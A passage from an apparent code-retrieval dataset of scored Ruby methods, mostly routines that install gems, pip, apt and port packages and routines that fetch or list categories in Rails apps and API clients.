gem_available?(spec)\n puts \"info: Gem #{gem}-#{version} already installed in #{rvm_current_name}.\"\n else\n puts \"info: Installing gem #{gem}-#{version} in #{rvm_current_name}...\"\n RVM.gemset.use(h[:gemset_alias])\n RVM.run(\"rvm --create use #{h[:gemset_alias]}; gem install #{gem} -v#{version} #{gem_install_options}\")\n end\n end\n end\n end", "title": "" }, { "docid": "aca78d450240ca7d0aba380c8c22d7ef", "score": "0.6209304", "text": "def cookbook_gem_installing(gem, version)\n puts_line \"- Installing #{gem} #{version}\", :green\n end", "title": "" }, { "docid": "f4985b3195ba629701fadc49f33f7a67", "score": "0.6200824", "text": "def install!\n invoke [:install]\n end", "title": "" }, { "docid": "2351ef4a6094cf0e005fbdc1887af680", "score": "0.61948365", "text": "def install_pip_package(name, version)\n bash \"install pip package #{name}-#{version} for #{vm_user}\" do\n code \"pip install #{name}==#{version}\"\n not_if \"pip freeze | grep -q '#{name}==#{version}'\"\n end\n end", "title": "" }, { "docid": "ab76a10c717c199f635bb8fc3d88ef3e", "score": "0.6177471", "text": "def install(packagename)\n\t\t\t\tpackagename.strip!()\n\n\t\t\t\tCfruby.controller.attempt(\"Installing \\\"#{packagename}\\\"\", 'destructive', 'unknown') {\n\t\t\t\t\t`#{@aptgetbin} install '#{packagename.gsub(/(\\')/, \"\\\\\\1\")}'`\n\t\t\t\t}\n\t\t\tend", "title": "" }, { "docid": "1412a4f5a04033df135762fa853084db", "score": "0.6174238", "text": "def install\n self.run_preseed if @resource[:responsefile]\n should = @resource.should(:ensure)\n\n str = @resource[:name]\n case should\n when true, false, Symbol\n # pass\n else\n # Add the package version\n str += \"=#{should}\"\n end\n cmd = %w{-b -q -y}\n\n keep = \"\"\n\n cmd << :install << str\n\n finkcmd(cmd)\n end", "title": "" }, { "docid": "02e9c69d2a448a71f5dae708a42cc5a0", "score": "0.61714244", "text": "def install\n fetch\n parse_package_json\n determine_name_and_version\n\n if !name || name.to_s =~ /^\\s*$/ # blank\n raise(Jim::InstallError, \"Could not determine name for #{@fetched_path}\")\n end\n\n logger.info \"Installing #{name} #{version}\"\n logger.debug \"fetched_path #{@fetched_path}\"\n\n if options[:shallow]\n shallow_filename = [name, (version == \"0\" ? nil : version)].compact.join('-')\n final_path = install_path + \"#{shallow_filename}#{fetched_path.extname}\"\n else\n final_path = install_path + 'lib' + \"#{name}-#{version}\" + \"#{name}.js\"\n end\n\n if @fetched_path.directory?\n # install every js file\n installed_paths = []\n sub_options = options.merge({\n :name => nil,\n :version => nil,\n :parent_version => version,\n :package_json => package_json.merge(\"name\" => nil)\n })\n Jim.each_path_in_directories([@fetched_path], '.js', IGNORE_DIRS) do |subfile|\n logger.debug \"Found file #{subfile}\"\n installed_paths << Jim::Installer.new(subfile, install_path, sub_options).install\n end\n logger.debug \"Extracted to #{install_path}, #{installed_paths.length} file(s)\"\n return installed_paths\n end\n\n logger.debug \"Installing to #{final_path}\"\n if final_path.exist?\n logger.debug \"#{final_path} already exists\"\n if options[:force]\n FileUtils.rm_rf(final_path)\n elsif Digest::MD5.hexdigest(File.read(final_path)) == Digest::MD5.hexdigest(File.read(@fetched_path))\n logger.warn \"Duplicate file, skipping\"\n return final_path\n else\n logger.error \"Trying to install to #{final_path}, but file already exists and is different.\"\n return false\n end\n end\n\n Downlow.extract(@fetched_path, :destination => final_path, :tmp_dir => tmp_root)\n # install json\n install_package_json(final_path.dirname + 'package.json') if !options[:shallow]\n installed = final_path.directory? ? Dir.glob(final_path + '**/*').length : 1\n logger.debug \"Extracted to #{final_path}, #{installed} file(s)\"\n final_path\n ensure\n FileUtils.rm_rf(@fetched_path) if @fetched_path && @fetched_path.exist?\n final_path\n end", "title": "" }, { "docid": "6d47201d5596c9a214beb0bbd82522c8", "score": "0.61651284", "text": "def install(version = nil)\n raise \"#{name} #{version} is already installed in #{File.join(@install_dir, path)}\" if installed?(version)\n version ||= latest\n log \"Installing #{name} #{version} in #{File.join(@install_dir, path)}\"\n\n if @dependencies.length > 0\n log \"Installing dependencies\"\n dependencies { |dependency, ver| dependency.install(ver) unless dependency.installed?(ver) }\n end\n\n # Create directories\n FileUtils.mkdir_p(File.join(@install_dir, path, \"bin\"))\n FileUtils.mkdir_p(File.join(@install_dir, path, version))\n\n # Return resolved version for subclass to use\n version\n end", "title": "" }, { "docid": "ff0e894289eaa9ab1a29ba3fb7fa718f", "score": "0.6137811", "text": "def install_package(package)\n valid_implementation!\n present!\n __install_package__(package)\n end", "title": "" }, { "docid": "f5ba5277069996077547e803e1b08ed2", "score": "0.6136319", "text": "def install(packagename, force=false)\n\t\t\t\tpackagename.strip!()\n\n\t\t\t\t# determine whether to use portinstall or pkg_add\n\t\t\t\tif(test(?x, '/usr/local/sbin/portinstall'))\n\t\t\t\t\t@portadd = '/usr/local/sbin/portinstall -M BATCH=YES'\n\t\t\t\telse\n\t\t\t\t\t@portadd = '/usr/sbin/pkg_add -r'\n\t\t\t\tend\n\n\t\t\t\tif force\n\t\t\t\t\tCfruby.controller.attempt(\"Installing \\\"#{packagename}\\\"\", 'destructive', 'unknown', 'install') {\n\t\t\t\t\t\tExec.exec(\"#{@portadd} -f #{packagename}\")\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn(true)\n\t\t\t\telsif !installed?(packagename)\n\t\t\t\t\tCfruby.controller.attempt(\"Installing \\\"#{packagename}\\\"\", 'destructive', 'unknown', 'install') {\n\t\t\t\t\t\toutput = Exec.exec(\"#{@portadd} #{packagename}\")\n\t\t\t\t\t\tif(output[1].length > 0)\n\t\t\t\t\t\t\t# portinstall doesn't have useful positive feedback, so we check known negatives\n\t\t\t\t\t\t \tif (output[1][0] =~ /\\*\\* No such installed package or port/)\n\t\t\t\t\t\t\t\traise(InstallError, \"#{packagename} not found by \\\"#{@portadd}\\\"\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif(output[1][0] =~ /\\*\\* Port marked as IGNORE:/)\n\t\t\t\t\t\t\t\traise(InstallError, \"#{packagename} is marked as IGNORE \\\"#{@portadd}\\\" for reason: #{output[1][1]}\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif(output[1][0] =~ /\\*\\* Command failed/)\n\t\t\t\t\t\t\t\traise(InstallError, \"#{packagename} installation failed\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn(false)\n\t\t\tend", "title": "" }, { "docid": "b7f808e8fb38e9bf349fe2ead3645341", "score": "0.6135769", "text": "def execute\n gemname = get_one_gem_name\n path = get_path(gemname, options[:version])\n if path\n require 'fileutils'\n target_dir = File.basename(path).sub(/\\.gem$/, '')\n FileUtils.mkdir_p target_dir\n Installer.new(path).unpack(target_dir)\n say \"Unpacked gem: '#{target_dir}'\"\n else\n alert_error \"Gem '#{gemname}' not installed.\"\n end\n end", "title": "" }, { "docid": "83f2da69b63ddfc835d1cbc9b1a398c1", "score": "0.6132796", "text": "def install_package(package_name, version=nil)\n update_package_list\n \n if package_installed?(package_name)\n say_status \"package already installed\", package_name\n else\n package_name = \"#{package_name}=#{version}\" if version\n track_modification!\n as_root do\n exec(\"DEBIAN_FRONTEND=noninteractive apt-get -q -y install #{package_name}\", :no_pty => true)\n end\n say_status \"installed package\", package_name.gsub('=', ' ')\n end\n end", "title": "" }, { "docid": "829b59ef00d4e53e2868040c554414c0", "score": "0.61314464", "text": "def execute\n gemname = get_one_gem_name\n path = get_path(gemname, options[:version])\n if path\n require 'fileutils'\n target_dir = File.basename(path).sub(/\\.gem$/, '')\n FileUtils.mkdir_p target_dir\n Installer.new(path).unpack(File.expand_path(target_dir))\n say \"Unpacked gem: '#{target_dir}'\"\n else\n alert_error \"Gem '#{gemname}' not installed.\"\n end\n end", "title": "" }, { "docid": "25115afb59a61f7780e8de1e3b306381", "score": "0.6127061", "text": "def install\n # get spec information\n @spec = compute_spec\n # define name and platform\n if @installname\n @spec[:installname] = @installname\n else\n @spec[:installname] = name_and_platform(@spec[:name])\n end\n # set install dir\n @installdir = \"#{@spec[:installname]}-#{@spec[:version]}\"\n # install gem\n Gem::Installer.new(@filename, :env_shebang => true, :ignore_dependencies => true,\n :install_dir => File.expand_path(@installdir), :bin_dir => File.expand_path(\"#{@installdir}/bin\"),\n :wrappers => true).install\n # install build files\n install_build_files\n # get file list\n files\n # build tar.gz\n build_source\n end", "title": "" }, { "docid": "a144730bbf333d415af2d00ba68c565b", "score": "0.61258197", "text": "def install_or_clone\n @installer.install!\n end", "title": "" }, { "docid": "619642b76215bd2b0e7cb625f79e1397", "score": "0.61212784", "text": "def find_repository_installation(repo, options = T.unsafe(nil)); end", "title": "" }, { "docid": "6c4114468af62871fb8a8cd0e56d111a", "score": "0.61103487", "text": "def require_if_available(gem, &block)\n begin\n require gem\n block.call if block_given?\n rescue LoadError\n warn \"Warning: #{gem} is missing; gem install #{gem}\"\n end\nend", "title": "" }, { "docid": "5f0deff8724441fd0907e50940780a5e", "score": "0.6105185", "text": "def erl_install_dep(app, ver = nil, extra = nil)\n appstr = ver ? \"#{app}-#{ver}\" : \"#{app}\"\n\n if erl_app_needs_upgrade?(app, ver)\n # do we have a ~/.erlbox.yaml file?\n \n puts \"Trying to install #{appstr}...\"\n erl_install_app(app)\n\n # Check again, to make sure it was installed correctly\n if erl_app_needs_upgrade?(app, ver)\n STDERR.puts \"ERROR: Failed to install dependency #{appstr}\"\n exit(1)\n end\n end\nend", "title": "" }, { "docid": "c88d18d347e5b3314ca124fcff441911", "score": "0.6104117", "text": "def install_gem(gem_file)\n require 'rubygems/commands/install_command'\n Gem::Commands::InstallCommand.new.invoke gem_file\n end", "title": "" }, { "docid": "be8d5d7e2d2e0b52f81b1ba739f27394", "score": "0.61009926", "text": "def check_installer\n\ta = commandz('which apt-get')\n\tif not a.size > 0\n\t\tputs \"Apt-Get appears to be installed!\"\n\t\t@fetch='apt-get'\n\telse\n\t\tputs \"Apt-Get doesn't appears to be available, checking for yum.....\"\n\t\tb = commandz('which yum')\n\t\tif not b.size > 0\n\t\t\tputs \"Yum appears to be installed!\"\n\t\t\t@fetch='yum'\n\t\telse\n\t\t\tputs\n\t\t\tputs \"Can't find a package installer I know how to use!\"\n\t\t\tputs \"You will have issues installing some of the dependencies as a result, sorry.....\"\n\t\t\tputs\n\t\t\t@fetch='nil'\n\t\tend\n\tend\nend", "title": "" }, { "docid": "86fe6ee5c02d796b4fdc1fb587e2f8aa", "score": "0.6089119", "text": "def package_gem spec\n enter_gem_directory spec.file_name.sub(/\\.gem/,'')\n symlink_bin\n Gem::Builder.new(spec).build\n rescue Gem::InvalidSpecificationException\n return nil\n ensure\n unlink_bin\n end", "title": "" } ]
28b7887d7b88381e25dddc8038e6e410
GET /consumer_categories/1 GET /consumer_categories/1.json
[ { "docid": "a36f1ac92f53f0699580e1fe9efa898e", "score": "0.71765876", "text": "def show\n @consumer_category = ConsumerCategory.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consumer_category }\n end\n end", "title": "" } ]
[ { "docid": "04779fc6a7223751fb3e79f2b7a6f82c", "score": "0.6920756", "text": "def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end", "title": "" }, { "docid": "5764a0170d2f7500c118bf40f6e4a5d2", "score": "0.68634427", "text": "def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend", "title": "" }, { "docid": "35802ecc80da3ace95df8f771700702b", "score": "0.670894", "text": "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "title": "" }, { "docid": "352f54a8efdae7ca90879f0271ece761", "score": "0.67088103", "text": "def get_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "title": "" }, { "docid": "ea71b86066fef337f9034911a32a33a2", "score": "0.66990656", "text": "def new\n @consumer_category = ConsumerCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @consumer_category }\n end\n end", "title": "" }, { "docid": "ec14212d07b2c606100f56c1b708c14e", "score": "0.66806483", "text": "def categories\n get('venues/categories').categories\n end", "title": "" }, { "docid": "70116ba55014e03cb26dd63fde7333dc", "score": "0.6676365", "text": "def categories\n expose Metadata.categories(@oauth_token)\n end", "title": "" }, { "docid": "ba972d2983e7117f6a5b8f7e60d47cf5", "score": "0.66359484", "text": "def category\n client.categories.find(data[\"categoryId\"])\n end", "title": "" }, { "docid": "4c40219c3305940002b5acdba762c94f", "score": "0.6631113", "text": "def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end", "title": "" }, { "docid": "400a06e2e7ace49ddcf6e9af9859f28f", "score": "0.6591533", "text": "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend", "title": "" }, { "docid": "bfd63dcb51352b74e78c8601d76e8e0d", "score": "0.6578494", "text": "def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end", "title": "" }, { "docid": "f0f4ab06492abbdbff2aff99aed79d56", "score": "0.6521319", "text": "def index\n @prosumer_categories = ProsumerCategory.all\n end", "title": "" }, { "docid": "97c67a6eae6c21eb58fa2fb05d55185f", "score": "0.6500416", "text": "def fetch_categories(count = ENV['DEFAULT_CATEGORY_COUNT'].to_i)\n max_category = 18418\n uri = \"http://jservice.io/api/categories?count=#{count}&offset=#{1+rand(max_category/count.to_f)}\"\n request = HTTParty.get(uri)\n data = JSON.parse(request.body)\nend", "title": "" }, { "docid": "2c1edb45ac1b043d62f39be939803df8", "score": "0.6488355", "text": "def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend", "title": "" }, { "docid": "2c699e821d924a55e3b474af78def75b", "score": "0.6443454", "text": "def index\n @categories = collections_config.values\n end", "title": "" }, { "docid": "99f556cf1cee45bb926693bc0797098f", "score": "0.642768", "text": "def getCategories(_, _, _)\n @db.categories\n end", "title": "" }, { "docid": "8fb11c432a8bb2c5fc11d5fb6181b5b5", "score": "0.6414616", "text": "def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "title": "" }, { "docid": "7d96fd1c55b7dccedb79c4802d5d3620", "score": "0.64142406", "text": "def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end", "title": "" }, { "docid": "508c77fa84938129b6568aa9b26c02cc", "score": "0.639807", "text": "def get_categories\n @redis.smembers category_collection_key\n end", "title": "" }, { "docid": "3bdc95e2d702c7f51598a7c0d16c0894", "score": "0.6395567", "text": "def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end", "title": "" }, { "docid": "43f40c3e49c6f285e6422876b0501f1c", "score": "0.63905233", "text": "def index\n categories = {\n \"categoryId\": params[:ids]\n }\n auction_categories = Auction::Category.list categories\n if auction_categories[:comm][:code] == \"200\"\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {auction_categories: auction_categories[:data]}}\n else\n render json: {status: auction_categories[:comm][:code].to_i, msg: auction_categories[:comm][:msg], data: {}}\n end\n end", "title": "" }, { "docid": "f0e4e07e981197a2110703b3489a2ba3", "score": "0.63803256", "text": "def get_category_list\n ret_hash = Rails.cache.fetch(\"zaim_api/category\", expired_in: 1.day) do\n json_categories = self.zaim_api.category\n tmp_ret_hash = {}\n json_categories['categories'].each do |value|\n tmp_ret_hash[value['id']] = value['name']\n end\n tmp_ret_hash\n end\n ret_hash\n end", "title": "" }, { "docid": "6c15126f62ed2e5c5817941289121a55", "score": "0.63739717", "text": "def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend", "title": "" }, { "docid": "ce1428c71cd866b370d5fe139c430ddd", "score": "0.63478583", "text": "def get_category id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get CATEGORIES, id )\n\t\t\t\tend", "title": "" }, { "docid": "d68eb7d54ea183be231c00be14d3438f", "score": "0.6301506", "text": "def categories\n response[\"categories\"].map!{|category| Foursquared::Response::Category.new(client, category)} if response[\"categories\"]\n end", "title": "" }, { "docid": "48cb2dae095e4eeb710deb9c74ebcdf0", "score": "0.6279488", "text": "def get_categories(query_obj=nil)\n uri = URI.parse(@uri + \"/Categories\")\n results = get(uri,query_obj)\n end", "title": "" }, { "docid": "47c632e85e09046221e937d668437e77", "score": "0.62673014", "text": "def get_categories\n @categories = Category.all\n end", "title": "" }, { "docid": "430de463893d1974131d271c61269257", "score": "0.6266668", "text": "def category_list_builder\n categories = API.get_categories\n categories.each do |cat|\n Category.new(cat)\n end\n end", "title": "" }, { "docid": "b0745b066af7dacd61317054ea30728f", "score": "0.6226101", "text": "def get_categories\n @cards.each do |card|\n if [email protected]?(card.category)\n @categories << card.category\n end\n end\n @categories\n end", "title": "" }, { "docid": "70e46f66e9ceeea7ffedf9a2a8c90515", "score": "0.6191759", "text": "def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end", "title": "" }, { "docid": "6ac2d485c5584634e7f0ecc5e41bd346", "score": "0.61832684", "text": "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "title": "" }, { "docid": "ae939484b2c3a1f4b3216a4613476d97", "score": "0.6170088", "text": "def index\n categories = Category.all\n render json:categories\n end", "title": "" }, { "docid": "fc8500b141bddcc2149490a1693eb553", "score": "0.6162886", "text": "def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend", "title": "" }, { "docid": "3be7e52b77971a7b986b18c705b2a38c", "score": "0.61463857", "text": "def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end", "title": "" }, { "docid": "4dcdf056918fc390646e4374f5db7b8a", "score": "0.6137005", "text": "def get_categories(project_id_or_key)\n get(\"projects/#{project_id_or_key}/categories\")\n end", "title": "" }, { "docid": "a5c456f2ebb23b954b45f333d3a689a6", "score": "0.61339605", "text": "def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend", "title": "" }, { "docid": "fa6c03d7487feff32fe500856b2a4f71", "score": "0.6129927", "text": "def categories\n @categories = response[\"categories\"] || []\n @categories.map!{|category| Foursquared::Response::Category.new(client, category)}\n end", "title": "" }, { "docid": "41284c2bcf5f7888af80c11f93e946b3", "score": "0.61290383", "text": "def destroy\n @consumer_category = ConsumerCategory.find(params[:id])\n @consumer_category.destroy\n\n respond_to do |format|\n format.html { redirect_to consumer_categories_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d1bd2d15ce909cef202fdeb37c04b531", "score": "0.6125635", "text": "def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end", "title": "" }, { "docid": "205785cb12d8abc8a9f2a3f8bb577427", "score": "0.6119791", "text": "def create\n @consumer_category = ConsumerCategory.new(params[:consumer_category])\n\n respond_to do |format|\n if @consumer_category.save\n format.html { redirect_to @consumer_category, notice: 'Consumer category was successfully created.' }\n format.json { render json: @consumer_category, status: :created, location: @consumer_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @consumer_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7dbe27f41f4e4b9f14f27de015fc90d5", "score": "0.61160344", "text": "def get_menu_category\n require \"rest_client\"\n require \"json\"\n\n self.categories.update_all(still_present: false)\n response = RestClient.get(\"https://api.omnivore.io/0.1/locations/#{self.omnivore_id}/menu/categories\", {:content_type => :json, :'Api-Key' => Setting.first.app_api_key})\n res = JSON.parse(response)\n res[\"_embedded\"][\"categories\"].each do |category|\n cat = self.categories.where(omnivore_id: category[\"id\"]).first_or_create\n cat.name = category[\"name\"]\n cat.still_present = true\n cat.save\n end\n\n self.categories.where(still_present: false).destroy_all\n end", "title": "" }, { "docid": "00e199f645daad66b9f83738b0674d46", "score": "0.6108631", "text": "def categories\n parsed_json['data']\n end", "title": "" }, { "docid": "a4889bc3a3a082a577579ad34ba469e9", "score": "0.61074466", "text": "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "142ab2f1c2596b94b984da4ffb1f2bfc", "score": "0.6102363", "text": "def categories(args={})\n res = api_request('private.request.getCategories', 'GET')\n res = JSON.parse(res)['category'] rescue []\n\n unless args[:include_deleted] and args[:include_deleted] == true\n res.reject!{|k, v| v['fDeleted'] == '1'} rescue []\n end\n \n return res\n end", "title": "" }, { "docid": "e94de88cbc30168bc3af08cbe921cb04", "score": "0.6094239", "text": "def new\n @category = Category.new\n @top_categories = Category.top_categories\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "2dfc1b3fc44d0089d4a335bb4092f6c4", "score": "0.60903597", "text": "def getCategory( category_id)\n params = Hash.new\n params['category_id'] = category_id\n return doCurl(\"get\",\"/category\",params)\n end", "title": "" }, { "docid": "3f54008ad1b157dbe1b3754917250700", "score": "0.60898995", "text": "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end", "title": "" }, { "docid": "88f328cd3b624d3771d862c328477e62", "score": "0.6071736", "text": "def categories(sport_id)\n get(\"sports/en/sports/sr:sport:#{sport_id}/categories.xml\")\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.60607165", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.60601246", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.60601246", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "5b0d184eae57755e99c2df5c8149afac", "score": "0.6050585", "text": "def do_get_cats_data\n message = {country_id: @client.country_code, webapi_key: @client.webapi_key}\n @client.call(:do_get_cats_data, message: message)\n end", "title": "" }, { "docid": "2f69acd227ffe56eb4fda169499e1975", "score": "0.6046932", "text": "def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "5d422751469ce77c891e4a7a4b97fb09", "score": "0.6045052", "text": "def category_name\n parse_cookbook_json do |parsing_errors, json|\n if parsing_errors.any?\n \"\"\n else\n json.fetch(\"category\", \"\").to_s\n end\n end\n end", "title": "" }, { "docid": "5f15676c80053ac4dcc473c47f847f31", "score": "0.60348195", "text": "def index\n @topics = @category.topics.preload(:category)\n render 'api/v1/topics/index'\n end", "title": "" }, { "docid": "922b9f725ef1e840599bf0395d9a5119", "score": "0.6032256", "text": "def index\n @categories = CategoryService.index\n end", "title": "" }, { "docid": "29135d9f9af52385cea31b59601fc85b", "score": "0.6025129", "text": "def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "955d7208645951e2dd125844c0507b1f", "score": "0.6015496", "text": "def index\n @cover_cats = CoverCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cover_cats }\n end\n end", "title": "" }, { "docid": "6afb3194032664f965af27dcf6a0bab5", "score": "0.60120386", "text": "def channel_categories\n build :channel_categories, :using => data_for(:channel_categories)\n end", "title": "" }, { "docid": "c612a48830c29b0871322576e05501cd", "score": "0.6010352", "text": "def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend", "title": "" }, { "docid": "e29454de41dd2a376255e0a3dbeb9305", "score": "0.5997997", "text": "def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end", "title": "" }, { "docid": "fa0473550415885bba9c54bd68eb00a6", "score": "0.5988616", "text": "def show\n render json: @category\n end", "title": "" }, { "docid": "66bf1edb0b5d250135cc3a3838347df3", "score": "0.5977475", "text": "def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CategoriesApi.get_categories ...'\n end\n # resource path\n local_var_path = '/categories'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Category>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "6d5a3c8812614e44a90678371922b626", "score": "0.5974332", "text": "def index\n @contract_doc_categories = ContractDocCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contract_doc_categories }\n end\n end", "title": "" }, { "docid": "9f7d2ba38d5b7ad034512447b9c811ac", "score": "0.59739786", "text": "def categories\n []\n end", "title": "" }, { "docid": "70e2cde20f0e6964d8161de4a1c91a39", "score": "0.59734184", "text": "def index\n @convention_categories = ConventionCategory.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @convention_categories }\n end\n end", "title": "" }, { "docid": "e522ec091b741ca41b9c66e0c81743ab", "score": "0.5943722", "text": "def _build_category_list\n raw_categories = CatAPI.get_categories\n category_list = raw_categories.map {|category| category['name']}.sort\n # the \"kittens\" category is empty, and never returns photos\n category_list.delete(\"kittens\")\n return category_list.unshift(\"your favorites\")\nend", "title": "" }, { "docid": "71e68f72862baf2ab07521d94833a620", "score": "0.59423125", "text": "def index\n @catalog_categories = CatalogCategory.all\n end", "title": "" }, { "docid": "983ebcebfad3ffc2a5d52c2069f75d68", "score": "0.59393245", "text": "def show\n render json: category\n end", "title": "" }, { "docid": "3a6208c54693af5dd73c4ac7ebb9656e", "score": "0.5934961", "text": "def category\n data['category']\n end", "title": "" }, { "docid": "1eec05751017ffcb0838494d6e39bd6d", "score": "0.59318984", "text": "def categories options = {}\n perform_get_with_object(\"/categories\", options, Vimeo::Entities::Category)\n end", "title": "" }, { "docid": "39e0107bb2069e4f165e636511c1ac9a", "score": "0.5924897", "text": "def index\n @forum_categories = ForumCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @forum_categories }\n end\n end", "title": "" }, { "docid": "784699c4640e319bc30c5831838b53ca", "score": "0.59237427", "text": "def new\n @news = News.new\n @cats = News.all.distinct(:category)\n respond_to do |format|\n format.html # 